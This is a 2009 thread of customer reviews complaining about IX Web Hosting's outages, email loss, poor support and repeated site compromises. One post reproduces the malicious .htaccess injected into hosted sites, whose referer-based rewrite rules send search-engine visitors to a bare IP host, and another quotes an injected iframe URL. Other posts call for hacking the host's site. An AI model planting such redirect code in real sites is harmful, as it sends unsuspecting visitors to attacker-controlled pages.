| Bob Levy, 23rd 2009f June, 2009 |
I have been with IXWEBHOSTING for a long time (many domains linux and windows)
MOSTLY Happy until now.
EMAIL seems to be in BAD SHAPE for my major domain that receives about 1,000 emails a day.
Noticed the problem Mon 6/22/2009 about 2pm but it was esarly this morning (6/23) that it has escalated to critical.
Noticed this am there were NO emails in my inbox.
Immediately called the 800 number and nothing happened.
I called their 614 number and receivved "all circuits busy"
Opened a chat help discussion and was told to open a trouble ticket.
During my "chat" used their webmail and saw two emails in my inbox and a minut later there were none!
Looks like IX has some CRITICAL issue that they are not disclosiing.
The only "good" news is that emails do not seem to be bouncing.
Time to look for a new provider ?
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| UnHappy, 10th 2009f June, 2009 |
| Mail server down now for 3 days, ix just does not care. |
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| mecenat, 07th 2009f June, 2009 |
| unfortunely i bought hosting before i seen this website. After i paid for 3 years up front, i was waiting for them to create my account for about 30 hours. Account still not created yet. Just went to live support... no one there... wrote ticket - no answer... Just asked for refund, will see what they say |
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| Chuck, 01st 2009f June, 2009 |
| I have never dealt with a group of such incompetent idiots. |
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| Avoid, 31st 2009f May, 2009 |
Servers Hacked, more than 200,000 sites infected, Web sites hosted at ix web hosting are being banned by Google and all other mayor search engines.
Mayor server Email providers such as Yahoo, Live Mail, Gmail and Hotmail are blocking emails that are being sent from ix web hosting's servers.
IX Web Hosting uses illegal, fraudulent and misleading "Bait Sites" to lure people to use their services and lots more...
Read more : http://avoidixwebhosting.wordpress.com/ |
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| chris, 28th 2009f May, 2009 |
| i need a good company with reliable services.can you help me ? |
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| Alex, 15th 2009f May, 2009 |
We invest our time, money and energy in our websites. IX WebHosting just doesn't care about our websites at all.
See, our websites may or may not be a direct source of revenue, but they always contribute to build our credibility and reputation.
Like other commentators, I have had repeated hacking issues with my website in IX Webhosting. My visitors repeatedly encountered VIRUS warnings from their browsers as they typed my URL. How's that for business / reputation building?
Every time I pointed the issue to IX WebHosting's technical support, they would immediately put the blame on me: Their servers are perfect - I am the one who should be ever changing my FTP username and password; download and scan my entire website with an antivirus. Well, I did both, to no avail.
Ever since I finally transfered my site to another host, I never had another virus/malware issue with my website. Peace at last! Good-bye, IX Webhosting!!! |
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| sick of ixwebhosting, 13th 2009f May, 2009 |
DO NOT use these pathetic idiots, they are absolutely CRAP!!!!!!!!!
5 days running they are down for up to 2 hours a day... and god knows how often at night. Their support is extremely arrogant, rude and clueless.
Save yourself time and aggro, and avoid ixwebhosting. |
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| johnson, 03rd 2009f May, 2009 |
| I think they are getting very bad nowadays, although like one of the above comment, its better if we solved the problems ourselves as their support is utterly useless. I think the Ukraine part is right but the ticketing has been okay so far. I will give it one last shot and see what happens then... |
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| iPower, 30th 2009f April, 2009 |
| iPower is far superior. |
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| johne, 20th 2009f April, 2009 |
| they are just completely is disappointment for the clients,very very slow and even some time whole code is showing and they say a glitch came and ...........................just one sorry..................... |
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| maple, 16th 2009f April, 2009 |
I have always been very happy with ixwebhosting's services, but this has changed the past two weeks. I approached them with Email issues and the support was extremely arrogant and rude, and bluntly just blamed me, because Emails sent from my account were never being recieved. I checked to see if my site was registered and blocked for Spam, that is not the case.
Very rude, unhelpful and obnoxious support. |
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| Down Again, 15th 2009f April, 2009 |
This past weekend I noted the database was down at least 11 times, from 3 minutes to 25 minutes.. Surely someone at ix knows people are going to leave if they don't fix this / these issues.
I will def. not be staying. |
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| Mark, 09th 2009f April, 2009 |
Doing research on ixwebhosting I have come across a lot of sites complaining. It has become clear to me that almost everyone has big issues with their support,.. Does IX not see this themselves? Surely a company that is serious would take customers complaints serious, and do something about it.
I was looking forward to using IX, they seemed to offer a lot for less, but after reading so many disgruntled comments, I think I will give them a wide berth |
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| Danny, 08th 2009f April, 2009 |
| lol, my favorite is the "Unscheduled Maintenance" line. They give that one out every two or three times. |
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| Peter J, 08th 2009f April, 2009 |
Add me to the list of very dissatisfied ix web hosting customers.
Support is extremely rude, blunt, and to be honest thick as shit!! even the most simple questions go unanswered.
I will definately not be renewing my account. |
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| AVOID, 08th 2009f April, 2009 |
If anything happens to your site, you are on your own. So called support is a joke, and by far the worst I have ever come across. In the past 4 months I have had to call them 73 times, actually more, but I have counted 73x..
Database constantly down, or extremely slow, script injection, mayor Email issues ( noone recieves Emails sent ) and lots more.
EVERY time I call, I get told that they are working on things, and everything will be fine within 72 hours.. that was 4 months ago. |
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| Danny, 07th 2009f April, 2009 |
The servers become unavailable a few times a day for 5-10 minutes at a time. Used to be that they'd say, "Yes, they're down, we don't know why, we'll work on it." Then they'd be up in a few minutes and I'd say, "They're up" and they'd say, "Oh, um... great."
Now, those savvy bastards just wait it out. When I tell them the site is unavailable, they say, "Hold on, let me check" and then don't respond or say anything for 5-10 minutes. The site comes back up in that time and then they go, "It looks fine to us!" |
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| Me, 07th 2009f April, 2009 |
| IX are a joke, my sites (4) were all being redirected to a uk hosting site, I spoke to someone at support, and they said it was fine on their end, I asked them to check it from a search engine, and NOT from their CP, they told me they were checking it from Google.. LIARS!!.. It turned out that a .htaccess file was injected into my root folders, and redirecting my sites.. so there is no way ixwebhosting could have checked my sites.. Avoid!! |
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| Alexandria, 05th 2009f April, 2009 |
do not use these people, they always blame everything and everyone except themselves.
very ignorant support that lie about any issues because they just cannot be bothered, or don't know how to solve any problems you have.
It is a shame, because I have also spoken to one very helpful guy, and even he said that they had a big problem with their support team.. That says it all!! |
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| ExIx, 04th 2009f April, 2009 |
I have to agree with all the complaints I have read on this site ( and boy, there are a lot!!) I have just ended my 4 years with IX, the first 3 were great, but after the big move of their data center, things could / can not be worse.
Hacking, Re-directs, Downtime, Mayor Email issues, Terrible support, and even a complete web site LOST..
For a whole year I had to hear that they would sort out the issues within a week, a YEAR has gone by, and their services are an absolute disgrace.. It has been, and is clear that whoever is in charge of ixwebhosting has not got a clue about anything . Don't waste your money or your time, there are far better companies that actually know how to run and secure a server.. |
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| ix sucks, 04th 2009f April, 2009 |
My site has been hosted on the so called "New Servers", my sites were injected back in Febuary, and although I managed to clean my sites, and they have since not been injected, the Database is CONSTANTLY down.. Yesterday it was down between 3 and 12 minutes 14 times!!!.. This is unacceptable, The support is completely useless.. I have had 1 or 2 friendly but unhelpful support over the phone, but most of the support are very.. very rude and blunt. It is very frustrating when your site is down on an hourly basis for anything up to 12 minutes, just to get told that there is nothing wrong!! My sites are automaticlly checked by "InternetSeer" and the reports I get are a disgrace. Support at ix blames Internetseer for not being reliable..
I would not recommend these idiots to anyone, just google research ixwebhosting and see for yourselves just how many people have been duped by these people.
Stay Away. |
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| Kris, 03rd 2009f April, 2009 |
IX was very good until November 2008. Then, support went down the hill.
I had many problems with hacking, DB timeouts and the support was not only unavailable most of the times, they were rude when I tried to call. Also, I had to put in several call back (but they never called back) in order to get some support.
IXWebhosting DOES NOT have the good reputation it had in the past, so do not get fooled by reviews. I don't know whether the crisis on economy had an effect on them but they are UNRELIABLE!!! |
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| Debbie, 31st 2009f March, 2009 |
| I have had exceptional service from IX. The only reason I am leaving is that they are dropping Front Page Extentions (on a Windows Platform). Currently trying out one that offers "Plesk" for a Control Panel. Won't stay there.... |
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| William, 31st 2009f March, 2009 |
| Like most others here, I have had a lot of trouble with these people, i did move to another host, and I requested a refund. Forget it, they charge $20 USD for a .com domain... These people are CONS!! |
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| BPB, 31st 2009f March, 2009 |
| I have had nothing but trouble with ixwebhosting, sites, database, emails, support, you name it, it has been a complete nightmare. I think they do not care at all losing a few customers, as long as they have had your money they don't care. |
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| Sammy, 31st 2009f March, 2009 |
www.abq-real-estate.com
I have 8 domains hosted with ix and have been pleased with their service. I use the Windows hosting, which has been very dependable and easy to manage. Unlike many comments here, I have found tech support to be among the best I've found in over 15 years of experience. |
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| Walt, 27th 2009f March, 2009 |
| WARNING: Do not sign up with these guys! I've been a customer for almost 2 years and everything was fine in the beginning, but over the last few months my websites are getting hacked constantly. I've had tons of server issues. Their support is awful, you'll be talking with someone in Russia from some third party company that they probably hired to give you a list of generic answers. I can't wait until my plan expires. |
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| tdb, 26th 2009f March, 2009 |
Site hacked on 3/25/2009 with the following in an iframe
http://modlogan.net/statistic/out.php?xxxxx
It appears as if someone is interested in how many visitors I get on my site.
I have had continuous hacking issues since 1/2009. I am switching to another provider.
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| Wayne, 26th 2009f March, 2009 |
| Still having Email issues and database issues.. Surely they should have sorted out the email issues by now, i have read complaints about these issues dating back more than a year!! Their support is useless, and just keep saying there is no problem... Surely if i send 10 emails and only 2 arrive there is a problem... It does not take a genious to work that out!! |
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| Joe, 24th 2009f March, 2009 |
I have just 3 months to go with this disaster so called hosting company.
I will be giving a party, and everyone is invited.. |
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| Merle, 24th 2009f March, 2009 |
These people are an absolute joke, it is beyond me how and why IX is still doing buisness. IX web hosting has to be, by far the most useless outdated hosting so called company out there.
If the anyone from ix web hosting reads this,.. PLEASE do yourselves a favor and put yourself out of your's and our missery, and disappear for good..
100% useless |
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| Lisa, 20th 2009f March, 2009 |
| If you don't want anything close to the claimed uptime and you don't need competent technical support, and if infected servers that inject code into your WordPress and phpBB pages are okay with you, then go for it. Otherwise, stay far, far away from IX. We've had them for four years, and although they were good for the first two or so, they kind of went to hell in a handbasket. The last time I contacted what they laughingly refer to as tech support about malicious scripts (the code that injects them has been on IX's older servers since August of '08), they told me to change my FTP password, then gave me links to scan for Windows viruses, and for anti-malware (also Windows). I'd already explained that I don't use Windows at all, so it's obvious that no one actually read my ticket. None of my sites are mission-critical, so I'll finish out the time for which I've already paid, but I won't renew. It's a pain to move everything to a new host, but less painful than staying with this one. |
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| Jessica, 15th 2009f March, 2009 |
I'm not sure why, but connecting to their sites is predictably very very slow. Don't their customers complain? My connections time out frequently.
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| Sara, 09th 2009f March, 2009 |
These idiots at IX either as thick as two planks, or just plain liars!!
My .htaccess file was injected and was redirecting my site, I phoned and spoke to a real stuckup bitch, that obviously does not like her job, told me she scaned my site, and could not find anything.. even after I told her my .htaccess file was corrupt, she still told me she could not find a problem... 100% USELESS!!! |
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| Marvin, 09th 2009f March, 2009 |
Please do yourselves a favour, ixwebhosting will gladly take your money, and then drop you like a hot potato. What used to be a pioneer in the webhosting world, are now a pioneer in in the rip off world..
Do not waste your money on these crooks. |
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| Geetah, 07th 2009f March, 2009 |
| I leave my host before cos bad quality hosting. Now for nearly 1 year I am use ixwebhosting but these are very bad, and very slow database. If this does not get better i look for a new host |
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| Sarah, 07th 2009f March, 2009 |
Dmitriy Verevkin: We are in business since 1999
you: Domain Name: IXWEBHOSTING.COM Registrar: TUCOWS INC. Whois Server: whois.tucows.com Referral URL: http://domainhelp.opensrs.net Name Server: NS1.IXWEBHOSTING.COM Name Server: NS2.IXWEBHOSTING.COM Status: clientDeleteProhibited Status: clientTransferProhibited Status: clientUpdateProhibited Updated Date: 29-jan-2009 Creation Date: 15-feb-2003 Expiration Date: 15-feb-2017
What a LIE!! |
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| Ramiro, 07th 2009f March, 2009 |
| This is a good server and find good service I would recommended, I have two years over here and there is not any problem |
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| www.digitalfootmark.com, 06th 2009f March, 2009 |
| No complaints. So far I'm a satisfied customer.. |
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| Cornee, 02nd 2009f March, 2009 |
| Been hosting my sites with ixwebhosting for 3 years, on the unlimited buisness account. 3 days ago they terminated my account because I was using too much bandwidth, they sent me an Email telling me I should hosts my sites elsewhere, I did not mind moving on, actually it was a blessing, but when i went to download my backups, ixwebhosting had closed my account, and I could not get my files. I phoned ix but they refuse to allow me into my account.. after 3 years this is how they treat you.. ix can rot in hell |
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| Yellow, 28th 2009f February, 2009 |
| Glad I found this site, was minutes away from purchasing a buisness account. I will now look elsewhere. |
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| Julie, 27th 2009f February, 2009 |
| I think that the likes of Yahoo, Hotmail, Live Mail and Gmail are blocking Emails being sent from web sites hosted by ix web hosting. I had to create a Yahoo email account to snd emails to all the above, because if I send emails from my website email address, no one using a server based email provider such as the one mentioned above, never get the emails I send.. Very unprofessional, I have contacted ix 5 times now, but they just give me a boiler plate answer, there is nothing wrong. |
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| mark, 26th 2009f February, 2009 |
| Hello, What I suggest is that everyone who is having problems with your server, click on their google ads... show them what it feels like when tons of people click on your ads and the server is down. ixwebhosting.com has really bad problems with their servers. My company already moved off of ixwebshosting.com because of the constant server problems we have experienced. |
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| Mike, 26th 2009f February, 2009 |
| Ixwebhosting.com servers are really poorly run and are often down and on error. We made a mistake trusting ixwebhosting.com. Our servers has been down almost 6 times per hour, each outage lasting about 2 minutes. |
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| tommy, 25th 2009f February, 2009 |
| I would like to start a web hosting company and take all your money and then shut down all the servers!!!!! mu ahahahahahahaha |
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| elawcase@gmail.com, 24th 2009f February, 2009 |
| Hello, we continue to receive complaints about ixwebhosting.com. Should we get enough support, we can launch a class action law suit against ixwebhosting for advertising what is not true of their uptime. You can contact us at elawcase@gmail.com. |
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| floristwide.com, 24th 2009f February, 2009 |
| Hello, I cannot believe how terrible the servers are at ixwebhosting.com. It goes down everyday at least 5-10 times. Probably more than that but we catch about 5-10 times a day the outtages. We moved most all our important sites off the server NS13.ixwebhosting.com and NS14.ixwebhosting.com. However, some of our sites are still hosted on this server. You can check it to to see the performance. Our site is www.Floristwide.com and you can test it using alertra.com. You will see that every so often the server will go on error. It's really frustrating and Ixwebhosting always blames it on other shared hosting sites which is not the solution we want to hear. I have no idea why ixwebhosting is rated high on this website but probably because they pay or promote this ranking. Really frustrating! |
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| Harry, 24th 2009f February, 2009 |
Recieved an email today from a client saying that if you use the search option it shows an error, spent ages trying to find what the problem was, I then compared the Database Tables with the original, and TWO tables were missing, this site has not been updated for well over 5 months, and it was working fine at least up until 2 weeks ago.
ix wehosting denies they had anything to do with the sudden deletion of the tables. |
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| Ian, 22nd 2009f February, 2009 |
| 3 days.. and the server is down... |
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| Brice, 20th 2009f February, 2009 |
| I have 3 websites hosted on ixwebhosting and I have had nothing but problems. They upgrade things and break you and do nothing to fix it. Their support is a joke, sometimes taking days to get problems resolved. I am actively looking for another provider. IXWebhosting is awful. |
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| David, 19th 2009f February, 2009 |
A note about the .htaccess injection. When it happened (Early December of last year), ixwebhosting sent this email to clients:
"This is a self replicating virus which is found by visiting well-known search engines. When you click on any link it may redirect you to a fake Anti-Virus 2009 website which appears to scan your system and then asks you to download the software. Once downloaded and installed it begins displaying pop ups on your desktop. At this time it collects your FTP user name and password from your own computer and uses that information to upload an exploited file named ".htaccess" to your website. Any visitors to your website will then be redirected to the fake anti-virus website."
This is not true. It's an insult to say that I (an experienced internet user) actually downloaded the fake anti-virus program. Access to our FTP accounts was not obtained from our (the clients') own computers, it was a security flaw on the server end. Just today ixwebhosting sent an e-mail saying that they changed everyone's ftp passwords, obviously to cover for some more security flaws on their end. |
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| Walter, 17th 2009f February, 2009 |
| Very slow. vulnerable, crappy webhosting with 10-15 seconds page generation time. |
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| David, 17th 2009f February, 2009 |
I have been with ixwebhosting for about a year and a half. I have had no problems except for the one time when my site (and possibly all the other ixwebhosting sites) were hacked. The .htaccess file was replaced with this:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]
It didn't hurt me because my website is private and not indexed by search engines anyway, but this is very bad. I will not be staying with ixwebhosting for the long-term. I have had no problems with tech-support though, I've used the live chat two or three times (with trivial issues mind you) and have not had to wait more than 10 minutes. |
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| Chris from BBTA, 16th 2009f February, 2009 |
I see IXwebhosting's response below... do not contact us it wastes our time... WOW. What a statement. So your customers inquiring about the status of their server that is down and they are most likely losing money and customers is a waste of your time. The is just plain out crap. If you dont care about your customer's, customer's then you dont care about your Customer.
I have been with IX for over two years, and have a multitude of websites with them. Everything was great for the first, 10 months or so. Then they moved locations, SQL servers go down, or are extremely slow to respond, dns errors, internal server errors, failure to connect to web server errors, errors errors, down, slow, error, down slow. Catch my drift.
I am in the market for a new host as I have finally grown tired of daily support tickets, phone calls and chats. Someone point me in a good direction and not godaddy i dont like them either. I am looking at dreamhost but not sure yet. |
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| Laura T, 15th 2009f February, 2009 |
Support is so frustrating, and useless, 3 days I used the chat support to ask why my pages were suddenly getting a syntac error, I had not made any changes for months, I was told to submit a ticket, so I submitted a ticket 2 days ago, FINALLY today after 2 days I get a response telling me they had recieved my ticket and that it was forwarded to the correct department !!!!??? WHAT!!??
This is the final straw, after reading all the below complaints, and also all the stuff on www.ixwebhostwarning.wordpress.com
I am moving my sites away from ixwebhosting |
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| Rob Stallard, 15th 2009f February, 2009 |
| The actual service is adequate. However, they fail to deliver on technical support. On two occasions I have waited 2 days for just an initial response. They are unhelpful on chat - they just say the problem will be looked into soon - and don't do so. Support is a network of Russians as far as I can tell. Unapologetic and unhelpful and very frustrating as there is no way a crucial techincal issue will get looked into in a timely fashion. |
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| Chris, 13th 2009f February, 2009 |
My SQL servers are down yet again. If you talk to the online chat they will tell you nothing is wrong. IF you submit a ticket they give you a BS response. However I just called them and was honestly told (Spoke to a real tech support person not "Jeff" in freaking Pakistan) that they had a hardware failure last night and they dont know when it will be back up. And that 501 has had some issues here lately but with the replacement of the hardware this should be fixed. We will see where this leads. I dont want to change host because it is a HUGE PITA. But if I have to I will.
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| Ex IX customer, 12th 2009f February, 2009 |
Could somebody please hack the .htaccess file on www.ixwebhsoting.com. Please set it to divert everyone to a decent hosting company!
Funny how their own site never gets hacked! Please, please, please... Somebody please hack their site to see how they like it. |
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| Wallace, 12th 2009f February, 2009 |
| All site is down now for ixwebhosting.You try go their website which down now.My website is down also.After see all your comment,i am worry now.Don't know when will be up again. |
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| Shira, 12th 2009f February, 2009 |
| We've spent the last week uploading and creating database on our new IXWebhosting account. BIG MISTAKE. All of the database sites give random server connection errors more often than not and the server service in general is extremely unreliable. The online "Tech support" chat is a complete joke. Not once have they been able to resolve the problems we've communicated, and we have to chat them about 5 times a day. We're closing our account today before serious damage is done. |
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| Pete, 11th 2009f February, 2009 |
AVOID like the plague!!!
Every one of their web servers have been hacked in the last few months. If you have any sites with them, it's just a matter of time before your code is injected with viruses and phishing pages or completely diverted to a scam web site.
If you have an account with them, do what I did... Get the hell out now before all of your sites are blacklisted.
Try www.a2hosting.com. They cost a bit more but you get what you pay for. |
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| Chris, 10th 2009f February, 2009 |
From all the research I have done over the past months, i have never seen so many angry people and complaints as the ones complaining about ixwebhosting
IX is a lost case.. AVOID |
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| FUCK YOU IX, 10th 2009f February, 2009 |
I'm so sick of the feeble excuses ix web hosting come up with.
I the past week I have called them at least 3 times everyday because so far my sites have been down on average 3 hours a day. Everytime I get to hear how sorry they are, and that the issue will be fixed within 20 minutes!!
It really is time to get a class case together and sue IX for compensation.
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| Erik, 09th 2009f February, 2009 |
| All 12+ of my domains were down much of Feb. 7, 2009, and since at least the afternoon of Feb. 8, 2009, they've been down again, and all of my sites' files are totally gone. They're "still working" as of this morning, Feb. 9, 2009, but they cannot say much more. Time to move on. |
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| Milano, 09th 2009f February, 2009 |
Today I got a call from a friend telling me my sites contained a virus, I googled my site, and when I clicked on it my Anti Virus blocked it with a warning, I then checked all my other sites and they all contain the same script. I called ix, had to wait 25 minutes, probably a lot of customers with the same problem.. I was told very bluntly that it was a well known issue with WordPress, I have been using wordpress now for 4 years, and always use the latest stable version, I contacted WordPress, and they assure me that there are no known issues with WordPress. I then called ix again, and this time they blamed my computer, saying it is infected, and that I uploaded the virus.
IX is an absolute nightmare, and I am moving all my sites away from them, and I will file a complaint with the BBB |
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| Herman, 08th 2009f February, 2009 |
Last week I had a phone call from a customer why I had not sent them an Email, I reassured them that I had, and that I would resend it 2 days later completely pissed off because they still never got the Email. So I sent an Email to one of my own Email accounts.. I never got it, so I tried sending it to another 5 Email accounts.. out of those 5 emails I got just ONE, but it took TWO days to reach me. I contacted support on the chat, and he told me there was a backlog of mail because of a "Spam Filter" , he told me to create a Ticket which I did, I sent a ticket on Friday morning, and Today ( Monday) I still have not had a response.
So to break it down, ( this is what I know for certain) I have sent 8 emails, and only recieved ONE 2 days after I sent it!
This is absolutely absurd, now I do not know how many people I have sent Emails to that never got them.
Do yourself a big favour and stay away from ix web hosting, they just have not got a clue, or they just don't care, or both. |
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| elawcase@gmail.com, 07th 2009f February, 2009 |
Anyone interested to sue ixwebhosting.com due to their bad servers and not providing what they promise, please contact us at elawcase@gmail.com.
I have tried many hosting companies and ixwebhosting is amongst the worst. Their server will go down frequently. We received so many complaints from our own customers that the website is not working. We get this just about everyday. And two days ago ixwebhosting.com servers were down for 4 hours. Yesterday it was down 3 hours. Today it is down now for over 2 hours and we are still waiting for the servers to work. We are hosted on NS13, NS14. This has got to be the most frustrating experience in our 9 years in ecommerce. We made the fatal error trusting to host our site with ixwebhosting.com. The first two months were okay but then after it went downhill. I think maybe they work really hard during the trial period so you cannot refund the month. I'm stuck now with a long period of webhosting plan. They won't refund either and they will not provide you a good working server. |
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| Matt, 07th 2009f February, 2009 |
| Hello, THE SERVER IS DOWN AGAIN. Two days ago it was down for 4 hours then yesterday 3 hours.. now today it has been down for over 2 hours. I need a working server. ixwebhosting has the worst servers possible. So much downtime. They wont refund you either. |
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| Help!, 05th 2009f February, 2009 |
| Hello, can someone tell me what to do? ixwebhosting.com server has been down again and again. This is at least the 10th time in the last 12 hours. What is happening? This is our 5th complaint with them but they are not fixing it. It will maybe work for 1 hour then go back on error. |
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| Richard, 05th 2009f February, 2009 |
| Oh my GOD! The server is down again.. I'm going to move my websites ASAP.. ixwebhosting really sucks... we have to complain every day. I'm sure they have so many compplaints. Their servers are maybe just poorly managed. But it's bad. |
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| Richard, 05th 2009f February, 2009 |
Hello, I just checked the server. It is now working but after 4 hours of downtime. This is really unprofessional hosting. It's cheap but you really get worse than what you pay for. Ixwebhosting.com is cheap and bad. I would rename it ixwebrobbing.com
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| John - HELP SERVER DOWN, 05th 2009f February, 2009 |
Hello I cannot believe how many times the server is down.. It has been down for over 1 hour and now they are telling us another hour. This server really sucks.. here's the chat logs.
Lesya Geychenko: Sorry, we really experience some problems on our server, but I want to ensure you that this is temporary and we will fix them as soon as possible
you: pls .. it has been down for 1 hour
you: every day down
Lesya Geychenko: I am so sorry, our admins are working on the issue
Lesya Geychenko: Sorry, we do not have any ETA yet, the issue will be fixed as soon as possible
you: we have to contact ixwebhosting just about everyday about the servers being down.. this is not the service we have paid for
Lesya Geychenko: I understand your concerns about this, you can create a ticket and provide statistics on the server side issue and ask for permanent solution
you: we have already
you: what's going on?
you: over 1 hour
you: hello, any updates so far?
Lesya Geychenko: Yes, our admins are working on the issue, they will send a notification to me when they finish
you: please
Lesya Geychenko: The issue should be fixed within 15 minutes
you: ok
Lesya Geychenko: I am extremely sorry to tell you, I just got the news from our admins
you: ok
Lesya Geychenko: They maintain the server longer than I have expected
Lesya Geychenko: The server will be up in 60 minutes
you: ixwebhosting is really unreliable..... |
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| ixwebhosting.com, 05th 2009f February, 2009 |
| Hello we understand our server is down for about 1 hour. We will fix it as soon as possible. Please do not bother us with your enquiries because it wastes our time. We are trying our best. If you don't like it, please do not contact us or join our excellent web hosting server. You can see on this website we are rated very high. We are not interested in people just complaining and bothering us about our servers. We know it is currently experiencing problems but we will fix it! |
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| Heidi, 03rd 2009f February, 2009 |
| Just got off the phone with ix, for the past 2 weeks every evening at 6 o clock my sites stop loading, and I cannot retrieve my Emails. It is so frustrating that the support just say that everything is working fine. I'll be looking to move my sites. |
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| Matt, 02nd 2009f February, 2009 |
| The server is currently down. IT is down about every 5-10 minutes for 30 seconds - 2minutes. Right now it has been down for over 10 minutes. We need to get to our database and info but we can't. This is just bad for us. ixwebhosting.com really cannot get it right. We have contacted them over 100 times in the past month but they keep saying they fixed the problem. I don't see how ixwebshosting rating is high on the right menu on this website. It means they probably get some cut when referring clients. |
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| George , 30th 2009f January, 2009 |
| If you are planning to run a serious website, DO NOT use Ix web hosting, they are more trouble than they are worth. Virus, Slow, Database problems, and Email issues. |
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| Paolo, 23rd 2009f January, 2009 |
After reading the reviews about the servers / database's slowing down at a certain time, I checked my log files, and it's true, like clock work at 2 am every night they come to standsill intill 7.30 am then they pick up again. I posted a support ticket, after almost 24 hours I finally got a response telling me the ticket has been forwarded to support!!!!!... What is the point of that??.
I am looking into moving my sites to HostGator. |
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| Gary, 22nd 2009f January, 2009 |
I am so sick and tired of ix web hosting!
I have had nothing but problems with them. Their support is useless, rude and they lie.
For the truth visit
http://ixwebhostwarning.wordpress.com/ |
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| Marky, 22nd 2009f January, 2009 |
Hacked, Injected, De-Faced, Slow, Useless Support and lots more.
IX is 100% USELESS!! |
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| jack, 21st 2009f January, 2009 |
| The server of ixwebhosting is down now. It has been on and off and stalling for the past month.. they keeps saying it was fixed but it isn't. It's very upsetting. We have had to complain and make complaints every day three times.... anyone know of a better hosting for Windows? |
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| Melanov, 21st 2009f January, 2009 |
haha, i know how ixwebhosting is being attacked, I know who is behind the injecting. Over a year ago we contacted ix explaining they had problems, we had a very rude reply telling us it was lies, and the servers were secure. We added a folder with a fake website to at least 200 websites. Now ix wanted to listen, and even offered to pay per security issue.. but now it is too late.
ixwebhosting should listen when help is offered. |
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| Gerald W, 21st 2009f January, 2009 |
I am in the process of moving my 12 sites from ix, I never had a problem with them for over 3 years, but as of November it has been one injection after the other. IX is not willing to help customers, instead they just want their money, and point the finger at customer once EVERY site on the servers are injected.
Don't waste your time or money on these people. |
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| Michael, 18th 2009f January, 2009 |
I completely agree with Blake, every night at midnight ALL my sites on two buisness accounts come to a screeching halt, everynight I call ix, and they appologize, and tell me they will find the cause and firewall the site, or even suspend the site(s) causing the slowdown, but this has been going on for weeks.
Also, I use "Mailwasher" that connects to my mailserver every 10 minutes, and every morning when I check mailwasher, I get an error log telling me that it could not connect to the server, with at least 20 times that it could not connect to the server.
It's time to drop ix web hosting
AVOID |
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| Blake, 17th 2009f January, 2009 |
I am totally and completely disgusted with IX Webhosting. It used to be a great host and I recommended it to everyone I could. But something has changed. I believe they got sold. Since then, we have had nothing but endless trouble with this host...
Last year, they proudly moved to a new Data Center. Of course this caused us problems for several months. They kept apologizing, but the problems persisted. After a very long period, things calmed down and remained that way until November...
Without prior warning, IX moved our site to a new server in November. After 60+ hours of calling, using Live Chat, and using the ticket support system, they finally worked out most problems. I felt like I had to beg to get IX to help resolve the problems that they created. I lost an entire weekend fighting them. The IX response times average between 12-24 hours...
Then again this January, IX updated all of our cgi-bin files in our domain and all of our sub-domains recreating the problems that were caused in November's unnecessary server move. Again, it took over 60+ hours to get our site up and running. I had to find workarounds to get our site up and running, and amazingly, IX tried to take credit for getting our site up and running again even though they had nothing to do with it...
Even though our site is up and running now, we still have many problems. After 176 hours of fighting IX for help, they have yet to correct the Cron job errors that still plague our site...
The last two days, the server has crashed in the evening requiring another call to IX to get the server restarted/reset and our site back online. This was the same pattern that plagued us after the Data Center move last year. And early every morning, the page load response times drag down to a crawl. This seems to start between midnight and 4 AM every single night. The other day, the slowness continued well into the following day. We get an apology from IX each time this happens, but they don't seem to be doing anything to permanently correct it...
IX has tried very hard to blame these problems on our code, which worked fine before the server move in November and again up until January. IX does not want to take responsibility for their actions and it is frustrating and disgusting dealing with them. I cannot in good conscience recommend IX Webhosting to anyone until they improve the skills of their own Technical Support staff. It wouldn't hurt if they hired a few more knowledgeable people to improve their response times too. Waiting 12-24 hours for each new response to a ticket is totally unacceptable. With IX's lack of effort, a resolution to a problem can drag on for days and weeks. IX does the bare minimum to assist its clients and they do it as slow as they possibly can...
Dealing with IX technical support gets real old real fast. I wouldn't wish this on anyone...
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| Hans, 17th 2009f January, 2009 |
Do not believe their "Money Back Guarantee" After 3 weeks I requested a refund, and I only got about 30% of the full sum, they even charged me $20 for a .com, $20!!!, I can get these for $4.95.
Stay Away from these idiots |
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| kjett, 11th 2009f January, 2009 |
If IX is no 3 in the Top 10 companies list, what is the service level provided by those below on the list? Must be pretty terrible, eh?!
I have experience from IX as well as other hosts. Of the ones I've used, IX is the worst, one.com (in Denmark!!) has given me the best value for money. |
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| Mike, 10th 2009f January, 2009 |
| Bloody USELESS! |
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| Muluut, 10th 2009f January, 2009 |
I am now just 3 months hosting with ix hosting and every day I having big problems. these people do not help and all my sites are hacked. I ask for backup and they tell me backups are no good, backups are hacked same as websites
ix hosting is no good for hosting. |
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| Laurie, 10th 2009f January, 2009 |
| With them for about 2-4 years. Was OK, nice customer service but innefficient now that I am ahving BIG problems - and now has been a nightmare since January 1st 2009. Now all my six websites are not even loading. Not even an error message! "server taking too long to respond" My site was hacked apparently (never happened in 10 years) and since then problems everyday. Even google has put a warning to visitors about malware from my site. My Google results have dropped completly Now have been pfflne for 24 hours. Disaster. Will change. I was told they are having problems with one of their servers. I don't care. I'm changing. Will pay more for more. |
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| Jonathan, 09th 2009f January, 2009 |
| I too have been with IX for just under 4 years, and I too have pure html sites, I have 7 websites, I have always been very happy with IX, and up until September 2008 I had never had any issues. But since September my sites have been hacked, changed and re-directed on a weekly basis. IX keeps telling me about folder permissions and Ftp viruses, but I do not run any scripts, and do not have any folders, so I know that cannot be the cause. I will be moving all my sites to another host. |
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| Archer Rejn, 09th 2009f January, 2009 |
| I have been with IX for already 4 years and have never had any problems. May be cause I do not use any free php applications like wp or Joomla ? All my sites are html files with some Java scripts. I have never been hacked and all my sites load pretty fast. |
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| Magix, 09th 2009f January, 2009 |
| Don't waste your time or money on these people. 100% USELESS! |
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| kjett, 09th 2009f January, 2009 |
There is at least one positive aspect of using IX, viz. you learn a lot about the perils of using a web host without sufficient technical knowledge and/or security routines.
You learn that you yourself have to take responsibility for implementation of all the precautions needed, such as recurrently (frequently) making sure your hosted domains haven't been hacked, having all directories properly chmod-ed and .htaccess-ed, and keeping updated backups on a local server.
